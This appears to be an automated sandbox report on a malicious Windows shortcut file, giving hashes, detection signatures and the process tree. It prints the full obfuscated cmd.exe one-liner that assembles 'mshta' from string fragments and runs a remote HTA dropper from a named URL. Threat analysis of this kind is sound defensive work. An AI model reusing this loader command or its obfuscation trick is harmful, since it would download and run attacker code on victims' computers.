Analysis
- max time kernel
148s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:23
Static task
static1
Behavioral task
behavioral1
Sample
DOC-PQYYMJ.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-PQYYMJ.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-PQYYMJ.lnk
- Size 2KB
- Sample260804-kae6msveqf
- SHA256 95dc3769521fdb0cddac23bd78811c647e0fb76937aec9a238d674ddf2293ee2
- MD5 59e0e060b2ae8ef5e5bfbb63b929d9fc
- SHA1 194153588d277fece4439beffc482680eea2b92b
- SHA512 19072a6ad9a223a06f8f84ef6512044e09ba1d11423ff5a655277593bb7ddb50e9669966456bb0e123fbbaca6324118744d855700fa11dd0b87c52ccc691447f
- TLSH T16D4101843EEE0498F3FA9EB2E9FE27004A7BB9555D71D94D0980820D1423B05D877B67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 880 cmd.exe 5332 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 880 wrote to memory of 5332 880 cmd.exe 90 PID 5332 wrote to memory of 956 5332 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-PQYYMJ.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:880 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set RMeD=wnmsxr&&set VLvCt=fa7htwt&&set kQuJ=pcad&&set Ros=tmpwljguxlhhrtfgctttttmp&&set hUuzF=infgnipinf&&set qxV=datwdgmptmdtdat&&set zgp=datywqkibldkxtsmtecxdat&&set DOPZ=logabzzczbfllog&&set fiMD=cacheoketxtfcache&&set StLEo=tmptftybbohyyfszigcwdtmp&&set rUn=is2m&&set pgFF=93mtarjo&&set sOX=kti&&set Dq=netxaoervmpsjhlzrclwnet&&set eZqRJ=https://ma-pdf@fi@l@[email protected]@a@t/@h/@e@sta@gi@o1.@php?r=39@146@9F@B5@D8@2D@B&&start /b !RMeD:~2,2!!VLvCt:~3,2!!kQuJ:~2,1! !eZqRJ:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5332 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:956
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